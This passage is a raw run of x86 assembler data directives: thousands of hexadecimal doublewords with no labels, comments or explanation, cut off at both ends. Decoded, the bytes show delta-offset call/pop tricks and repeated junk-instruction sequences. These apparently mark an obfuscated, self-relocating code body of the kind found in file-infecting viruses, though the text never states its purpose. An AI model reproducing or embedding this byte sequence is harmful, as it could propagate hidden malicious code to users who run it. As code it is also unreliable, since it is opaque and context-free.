89060AEAh, 7020DBDh, 5C08306h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0D4C35141h, 7EB6C2D9h dd 6EFE5EA0h, 8B6650D6h, 240489F0h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 0DBC35545h, 724615F4h, 6AF38Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0F2C35545h dd 6A006A14h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 89DEC351h, 7004195h, 0C195FF06h dd 6A060704h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 8DB7C351h, 0AA64F9Dh, 0D3FFF806h dd 5E956h, 0C0F0000h, 5F97A667h, 3075B58Bh, 85FF0607h dd 60732F1h, 1FB1B52Bh, 4CE90607h, 0E8000008h, 0 dd 3AED815Dh, 52060AEAh, 85E2D7BEh, 0BD815E23h, 6072C15h dd 7D0h, 18A860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 5453AAC3h, 0CFD6E18Fh dd 6810Fh, 0BD8B0000h, 6070FE5h, 141D9D8Bh, 11E90607h dd 0E7000000h, 0FC9674C7h, 512DDEE3h, 84AFBDBCh, 0FEB712C4h dd 100E381h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0F3FAF3C3h, 2F574C66h, 7DBF0DA1h dd 0B2047C3h, 0C2850FDBh, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0CF44C351h dd 20A1BD8Bh, 0BD830607h, 60AE851h, 52840F00h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 0E919C355h, 7Eh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 0A2C35646h, 69946C69h, 0FA747FEh dd 683h, 0E98D8900h, 8B060726h, 5185C7FBh, 1060AE8h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 0E919C353h, 0Ah, 7542B4EBh, 4BBB9759h, 13E9C2F0h dd 89000000h, 714A9B5h, 5185C706h, 60AE8h, 66000000h, 9D8DFE8Bh dd 607141Dh, 81F98B66h, 0FFFEFF23h, 55006AFFh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0F8087BB5h dd 0A1D575Ah, 0B523C379h, 6071ED9h, 8BDB8C66h, 72CD9B5h dd 4C3F606h, 7A840Fh, 8E80000h, 2F000000h, 0D5B88AADh dd 0FEB0D9Ch, 38Ah, 0F38B6600h, 5195FF5Fh, 6A060713h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 9A5FC357h, 904BB3DCh, 2A016BBFh, 0BF665002h, 6A909A1Ah dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0FD38C357h, 2A7DC86Ch, 0AE98Dh, 16930000h dd 7983EFC3h, 0E042A12Ah, 3F0E9h, 0FE8B6600h, 0D0BE00B0h dd 0E673A4EBh, 5870F70h, 0BE000000h, 2B9F2D00h, 6A71E4h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 3C782CC3h, 0C35B62Bh, 0F3D16A5h, 8B66D8B6h, 6BAF2h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 195B80C3h, 2889B52Bh, 85310607h, 60732B1h dd 81D68150h, 5F577E00h, 6AC38Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 1488DEC3h, 0A8C78166h dd 4E8C121h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 71C35747h, 9A84C5C6h, 1188453h, 0C1B58B62h, 66060708h dd 0D82BE2F7h, 0CF9BD89h, 50930607h, 11E952h, 529D0000h dd 0BAD1411Eh, 0C62632A1h, 0AB1533FCh, 0FA791DFh, 62BF6631h dd 50585A20h, 14E9h, 0B6954D00h, 0E2EF9CEFh, 58A74630h dd 5ACE4165h, 7207624Dh, 6A9323h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 816670C3h, 0FFD3CDDEh dd 72C15B5h, 0F7B70F06h, 16B595FFh, 85890607h, 60700A9h dd 15300B0h, 70A41BDh, 8E85E06h, 0C6000000h, 0EA153067h dd 5FDC521Bh, 6A70E6h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 395576C3h, 0DD8B7E23h, 0E9F7B70Fh dd 9, 0C09C3287h, 0A35F4BB8h, 5071E4BAh, 0B35BD8Bh, 3C5F0607h dd 46830F61h, 6A000002h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 308C355h, 0B27DA0B3h dd 0D8B60FD8h, 6BAh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0F9856C68h, 68C71B45h dd 0C781666Bh, 0C38B6224h, 199B58Bh, 0E8C10607h, 0B5895604h dd 6071561h, 0E2F7665Eh, 0D82B5E57h, 21BDBD2Bh, 6A580607h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 80F6C355h, 0C58D8ABh, 0D82B3E7Eh, 1A7880Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0AE1A96C3h, 2811611h, 95891F99h, 607065Dh dd 7B9F9h, 85010000h, 6070DFDh, 2900C183h, 705958Dh, 0FD93B06h dd 16086h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 0EDBD336Dh, 66060716h, 6AD98Ch, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 1414D3C3h, 8B23C6A7h, 4C1F6F9h, 0D9840Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0EBE760C3h, 0BE9h, 23096600h, 0F34B2C8Eh, 0DEC54061h dd 135195FFh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 44C8DC3h, 0C29FB551h, 0EE9734Ch dd 39000000h, 2F0BCF0Fh, 19834F15h, 4CB2490Ch, 6A5BC3h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 2BAF1BC3h, 3DFE8BC3h, 834h, 41860Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 13E8B1C3h, 0C0000000h, 0B5ED281Ah, 5B676743h, 8EAA7786h dd 0B1EFC155h, 5FFC80EBh, 3CE9h, 8F0F00h, 8B000000h, 53006AC0h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 6E92619h, 0FB000000h, 0B21CE53Ah, 99B58B81h, 8B060712h dd 71545BDh, 8BC38B06h, 5AEF81D8h, 0C7191BEBh, 712AD85h dd 0E15F506h, 50006A54h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 765D9082h, 897EB1B8h, 7280585h, 60C08B06h dd 329D8D01h, 14E90607h, 87000000h, 0D9A354C7h, 0D857EFB7h dd 0FD047864h, 5F634140h, 61A6044Bh, 2C15BD81h, 7D00607h dd 850F0000h, 34h, 21CDB523h, 85FF0607h, 6072C15h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0FDC35242h, 6850Fh dd 0B58B0000h, 6073271h, 2C15B5FFh, 6A0607h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 8ECFCCC3h dd 0AFE2BC20h, 0BFCACB3h, 72AB9B5h, 0B595FF06h, 0F9060716h dd 896090FCh, 71AE1B5h, 8BF98B06h, 71369B5h, 0F98B6106h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0D7C35545h dd 38B0F3Ah, 66000000h, 0B50BF88Bh, 60728DDh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 27C35040h, 0C249FC84h dd 52F8D0C6h, 0F9BD332Bh, 0E9060731h, 10h, 0E6F12939h dd 0DB1458D0h, 6CF4E4E2h, 0E0B90171h, 42A3CABEh, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 66C8A546h, 0F08D781h, 34EF8156h, 5E148CC0h, 0B027BE66h dd 0CE9h, 0C32F6900h, 0E5973316h, 26786617h, 57006AECh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0A9F6FE36h, 8C30DDBEh, 6DBD8B4Ch, 60060715h, 2E10BF66h dd 0FC38B66h, 6A61C2B7h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 32A5C350h, 8970C662h, 71D91BDh, 0F7D1E906h dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 8B4641C3h, 95BD8BC1h, 0EB06071Ah, 4, 819D8900h dd 6A060704h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0A202C351h, 0A9F9D11Eh, 85858DC2h dd 6A060707h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 0CC63C350h, 800F50CCh, 15h, 10E9h dd 9BA93000h, 0C3DF4D59h, 195B8046h, 4621E8B4h, 240489C6h dd 6AFE8Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 40C35747h, 0CF647D8Ah, 0BE66B596h, 0B5096C69h dd 60713A1h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0E9C147C3h, 6FEE8166h, 91BD8997h dd 8D06070Eh, 0AF4DD85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 0FB6C76A9h, 81662C17h dd 833D27CFh, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0B91087C3h, 27DB58Bh, 0BF900607h dd 75438C74h, 0F88B6650h, 55006A90h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0D521495Dh dd 0D88ACDDBh, 13A19D89h, 6A0607h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 47C35343h, 24867633h, 1493A346h dd 2D58589h, 6A0607h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 9EC35141h, 440664EEh, 17DA98Ah, 5B58B0Dh dd 66060720h, 0FF0396BEh, 704C195h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 82EED422h dd 0EB187EDEh, 9D8D6939h, 60AA64Fh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 41C35343h, 0C78166D6h, 0D3FFDC0Fh dd 21CD8D89h, 85FF0607h, 60732F1h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 8AC35646h, 0A7CC8CBCh, 0E88C488Eh dd 14h, 1D756E6Fh, 27742650h, 80FCED39h, 9C38CD71h, 1BBE1AC6h dd 39BD8B5Fh, 0E9060731h, 729h, 0E8h, 0ED815D00h, 60AF4E7h dd 8C18BF66h, 2C15BD81h, 7D00607h, 860F0000h, 105h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0C2C35646h, 0F2BF0FA8h dd 1B799D8Bh, 890F0607h, 0 dd 100E381h, 0BF50000h, 9D850FDBh, 66000000h, 8D89F88Bh dd 6073085h, 0F28BBD83h, 0F00060Ah, 3384h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 7B2A9B04h, 0E9FA71B7h, 76h, 2CD9B52Bh, 8D890607h, 6071FB1h dd 0F28B85C7h, 1060Ah, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 0BF47BFC3h, 0A5C0C14h dd 39E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 9D299586h, 60702D1h, 0F28B85C7h dd 60Ah, 95310000h, 60731A9h, 72DBD2Bh, 9D8D0607h, 6071B79h dd 1A1BD03h, 23810607h, 0FFFFFEFFh, 0AAB01ABFh, 0DB8C6621h dd 2E9BD8Bh, 0B50B0607h, 6070E31h, 0F04C3F6h, 8284h, 0A1BD0300h dd 31060732h, 730D595h, 5195FF06h, 6A060713h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 8D70C352h, 0D089628h, 0E92AF7FFh, 5, 2F517E49h, 51BD8BFBh dd 50060700h, 0FE8h, 85708600h, 926F8325h, 889B722Fh, 4C6DE0ABh dd 2404895Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 21C35242h, 21B52973h, 0E9060720h, 376h, 21859501h dd 0B00607h, 0DE9h, 97E25400h, 4921751Ah, 0C47AB3FDh, 70E60D38h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0DFC35242h dd 4EFC1321h, 0E4BC59B8h, 6880F71h, 81000000h, 242D21C6h dd 0D8B60F6Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 99C35747h, 690D7A12h, 657289E5h, 699D8913h, 5706070Bh dd 21E9BD8Bh, 0BA5E0607h, 6, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0E6C35545h, 0C566DA58h, 0A99D8964h dd 6606072Ah, 8B9001BEh, 0F4BF66C3h, 4E8C1A2h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 33C35646h, 0FBBF0F30h dd 33E2F766h, 70E05B5h, 6AD82B06h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0C860C356h dd 8A2A2811h, 0B58B26DFh, 6072545h, 156DBD23h, 93FC0607h dd 5E8h, 6DECDE00h, 505F77A0h, 6A93FE8Bh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0C56DC357h dd 0D4F6B339h, 36B4CF52h, 0E098589h, 0B5FF0607h, 6072C15h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0EAC35545h dd 9D1CDE30h, 0AD89D02h, 16B595FFh, 9D890607h, 6072C19h dd 0B0F9B70Fh, 6670E600h, 0BAECD781h, 3CF571E4h, 0D7830F61h dd 8B000001h, 71AD5BDh, 0D8B60F06h, 0E3D68166h, 6BA87h dd 0F08B0000h, 6AC38Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 0E8C1A8C3h, 0F88B6604h, 6AE2F766h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 70DBC351h, 0B796580h, 72FCDBDh, 0E9D82B06h dd 0Eh, 0F4352E37h, 944E60DFh, 1D7F0A73h, 0AE93762h, 6F000000h dd 8E32D924h, 0A217C12Dh, 6A58A1h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 5F32FC3h, 2C61A7D5h dd 0FE864h, 14160000h, 0F632D109h, 15769015h, 0D5FE8710h dd 7D850902h, 5E060732h, 880FD82Bh, 10Ah, 26758529h, 7B90607h dd 50000000h, 2A99BD8Bh, 0FC5F0607h, 8900C183h, 727159Dh dd 0FD93B06h, 0E586h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 87BEEE18h, 1E5F50CCh dd 0F6D98C66h, 840F04C1h, 98h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 0E0C35545h, 8A098FECh, 9C3717FCh dd 2669BD8Bh, 95FF0607h, 6071351h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 62C35747h, 0E2DD4D17h, 6CF3E886h dd 1BD0B66h, 5B060722h, 12E9h, 0E58E7A00h, 2399BE28h, 737B769Eh dd 0C7BFC543h, 2BA46EDCh, 618D89C3h, 3D060730h, 834h, 12860Fh dd 0E9FC0000h, 2Ah, 6820Fh, 0DF810000h, 0EFBD969h, 6AC08Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0C38BABC3h, 85C7D88Bh, 607141Dh, 7E761F7Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0EEC35646h, 0BDA29BFCh dd 0CE8h, 0AD22A800h, 0CE30A9Fh, 0FFA3929Bh, 0FB8B668Dh dd 8BC08B5Fh, 70351BDh, 0F88B6606h, 2C15BD81h, 7D00607h dd 850F0000h, 2Ah, 0DF0EBE66h, 2C1585FFh, 6A0607h, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0F0145C3h, 0B5FFFABFh, 6072C15h, 8B82BE66h, 16B595FFh dd 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 298B49C3h, 7095185h, 6A9006h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 60ECC9C3h dd 0D3EA35BEh, 13E977h, 1F740000h, 14236FBAh, 607F6E4h dd 0DA4A5C35h, 0DA178970h, 8A0F613Bh, 0Ch, 7895D781h, 0BD332DD8h dd 607124Dh, 1D958509h, 0CE80607h, 0F4000000h, 0C87F4F41h dd 59DD9A16h, 5E5E332Fh, 1561BD89h, 31510607h, 731858Dh dd 6A5F06h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 66AA38C3h, 0CE8EDF81h, 76782CBFh, 0BF0F5650h dd 0DF8166F7h, 315E9D53h, 708559Dh, 0DD858906h, 0F5060713h dd 2BF78B66h, 716ADBDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 0EAB36D11h, 2332CC29h dd 66F9C4A9h, 89D7ECBEh, 72C0D95h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0E9D5D4FFh dd 0FFFFF8FCh, 0DE8h, 4349AF00h, 7BF963DBh, 9598FBCh, 0CE81346Ch dd 562FCD99h, 311D8D29h, 235F0607h, 70D31BDh, 6AC18B06h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 251FC352h, 7AFB655h, 4EBh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 958935C3h, 6070229h, 0BCC68166h, 19B58BFEh, 2306070Dh dd 706C1BDh, 85858D06h, 6A060707h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0AB9CC353h dd 0AE92D64h, 0B3000000h, 603A8CE2h, 71ACFBD3h, 52509041h dd 12E860h, 0CCC30000h, 0F7ACA12Ch, 288310D1h, 8B917B3Ch dd 1FBFCD4Eh, 310F615Ah, 585AF88Bh, 90FA8B50h, 6A006Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0C587BDC3h, 272BDBCBh, 10E9h, 7A932900h, 7D0B75A4h dd 670699BBh, 0A26EEF0h, 0B1BD8954h, 6A060712h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0FD9D8908h, 8D06070Dh, 0AFEBE85h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 29B589FAh, 8B060700h, 70B0DBDh, 5C08306h, 9E9h, 0C4E6800h dd 99F4FF14h, 0BE9056C9h, 57650081h, 49B9BF50h, 6A90595Eh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 6684C352h, 0B647C781h, 6AF0BF0Fh, 8E800h dd 11390000h, 47D1648Fh, 0F602B40h, 8Fh, 11E800h, 1360000h dd 0D05A5310h, 256574ACh, 5175CA23h, 5BBAC554h, 6A5F61h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0CBC35545h dd 0C195FFA3h, 6A060704h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 3F65C352h, 49A6F1E9h dd 0F3F41C4h, 185h, 0B589F500h, 6072E25h, 0A64F9D8Dh, 6A060Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 7D2B59C3h, 0FFCACD9Bh, 10E9EAh, 0AEE80000h, 0FE4EAAB7h dd 0F2A002DEh, 89A344E5h, 0D3FF5A90h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0EBC35545h, 0A9E7FE09h, 12E83A90h dd 0F1000000h, 0FA428362h, 74E3328Ch, 2C42B542h, 0A8F3E4BFh dd 8AC7811Eh, 5F3670C4h, 0DE9h, 0E99B1900h, 0B10CE1A5h dd 0BF03B48Ah, 85FF4B35h, 60732F1h, 1A65BD33h, 0BD890607h dd 6073211h, 834E9h, 0E800h, 815D0000h, 0AFEC8EDh, 1BD8906h dd 8106072Ch, 72C15BDh, 7D006h, 0CC860F00h, 8B000000h dd 72E3D9Dh, 0BD8B5306h, 6072CE1h, 0E3815Eh, 2B000001h dd 71709BDh, 0FDB0B06h, 6385h, 0C8C0F00h, 0F000000h, 68Ah dd 25958900h, 8306070Bh, 0AFC30BDh, 840F0006h, 27h, 4EE9h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 8D9D898Eh, 0C7060731h, 0AFC3085h, 106h dd 79850100h, 0E9060725h, 17h, 0ADE242BFh, 0F8B70F79h dd 0FC3085C7h, 60Ah, 81660000h, 8DA73CC6h, 72E3D9Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 49ED74B4h, 68C0Fh, 0B58B0000h, 60710D1h, 0FEFF2381h dd 66F5FFFFh, 6ADB8Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 0C3CFB7C3h, 74A1A4F6h, 0F6F15BD8h dd 840F04C3h, 58h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0CDC35040h, 5DF18ECEh, 8BE3C0ADh, 73091B5h dd 5195FF06h, 8B060713h, 72DDDB5h, 50605006h, 0F585752h dd 34B96631h, 66585A4Dh, 8961CF8Bh, 6E92404h, 0EB000000h dd 0D357D0h, 0F28B665Fh, 4B0E9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 8916A8DBh dd 724C58Dh, 0E600B006h, 51006A70h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 37A17998h, 0E443B276h dd 51006A71h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0EE663530h, 0EA7DDF81h, 0B58B208Ch, 6070D1Dh dd 89D8B60Fh, 70A1D9Dh, 6BA06h, 14E90000h, 0DB000000h dd 0AF9BA7CFh, 86F5F6D2h, 3A5480F9h, 42FB1998h, 0BE35D1C2h dd 58725D54h, 0E8C1C38Bh, 53006A04h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0B58B11CBh dd 60725F9h, 6AE2F766h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 662FC357h, 359522C0h dd 8B8916A9h, 712B1B5h, 18830F06h, 0E8000000h, 0Ch, 0B5C27EC8h dd 285D7AC2h, 6B04006h, 830Fh, 2B5F0000h, 0B5BE66D8h, 1C8950D4h dd 0E7816624h, 0B5FF8460h, 6072C15h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0C35141h, 4DA24BBDh, 0B595FF3Ah dd 6A060716h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 8DC6C355h, 311E82AEh, 6A00B0h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 2F4FF1C3h, 0FCA19CC9h, 8166B574h, 0E60F8DCFh, 56006A70h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0D0BDEFDDh, 54232FC9h, 0CE95Fh, 0CED70000h, 0C9936610h dd 99127E98h, 71E42F0Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 11C35343h, 13E8h, 5E101600h, 13068DAEh dd 0DEFDA25Bh, 0B36335C7h, 0DEF44E80h, 0D1B5895Fh, 3C060721h dd 96830F61h, 0E9000002h, 11h, 0DBF903AEh, 35D0B911h, 0A740B06h dd 0CE16D42Ah, 0D8B60F61h, 0FE9h, 0C95E4500h, 0ABF4E17Dh dd 605F12DCh, 9254BCEh, 6BAh, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 4C33850Eh dd 6890F72h, 8B000000h, 704D5BDh, 66C38B06h, 0E8C1F78Bh dd 6E904h, 83100000h, 917B3C28h, 8830Fh, 8D0F0000h, 2 dd 0F7665E50h, 53006AE2h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 0BBCF81FDh, 0BF13A78Eh dd 54811EB4h, 0BD01D82Bh, 6071CE9h, 0FD82B58h, 1DC88h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 57EC1351h, 3BDB58Bh, 895E0607h, 72B8995h dd 7B906h, 92BE0000h, 8372986Bh, 6A00C1h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 0DD810BC3h dd 81E51ECEh, 836C1ACFh, 0FD93B0Dh, 17486h, 0C6816600h dd 8C66246Ah, 50006AD9h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 44198B5Ah, 0E0A52E67h, 0D001BEA7h dd 0C1F64DD5h, 18840F04h, 6A000001h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 8940C356h dd 830FC847h, 0 dd 135195FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 152A55C3h, 0A370D4DCh, 5BF71B15h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 9AC35141h dd 598D6C0h, 2B8B706Ch, 50006AC3h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 85BD23D4h, 81060732h dd 0F4CAF1F6h, 8343D75h, 860F0000h, 6Fh, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 19h, 21C35141h, 660983BFh dd 10E90Ah, 95AB0000h, 90BFB804h, 268951F0h, 0D515FD23h dd 56E93377h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 0A2E0C356h, 59BD8984h dd 60060721h, 28A0Fh, 0E28A0000h, 201DB58Bh, 8B610607h dd 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 8B66F9F4h, 8BC38BFEh, 7985C7D8h, 0FF06071Bh dd 8B17A189h, 72C31BDh, 6AC08B06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 885BC352h dd 70C889EBh, 830F35F7h, 6, 26C6D781h, 0BD890E25h, 60732B1h dd 2C15BD81h, 7D00607h, 850F0000h, 48h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 15h, 21C35141h, 95B5894Dh dd 0FF06071Dh, 72C1585h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 20953F81h, 2C15B5FFh dd 8B660607h, 0B595FFF0h, 6A060716h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 1D7DC357h dd 0BE90F0E8h, 60543835h, 85DB58Bh, 0B58B0607h, 60721C1h dd 0FABF0F56h, 51006A5Eh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0CEC8C7BBh, 8D29B0E3h dd 6072E19h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 7EC35646h, 0EBE97E6h, 5DD68F33h, 0BE9h, 4B31CE00h dd 36C38FC6h, 5B468CEEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 4AC35343h, 1CBD03D2h, 6A562Ah, 3E850h dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 8166FEC3h, 6642FECEh, 0A92DEF81h, 2791B58Bh, 6A0607h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 539518C3h, 211DBD8Bh, 0DE80607h, 0DF000000h, 79A00FC4h dd 0F618C359h, 9B07B1D3h, 5FFBBF0Fh, 670DBF66h, 0BE66FC60h dd 8B661679h, 0BF6661D7h, 0F2E9D872h, 6AFFFFF7h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0C532C350h, 89708D48h, 70C3585h, 6AC18B06h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 2DDFC352h, 1659B509h, 0E8530607h, 5, 0A08A25F2h, 75B5036Ah dd 5E060721h, 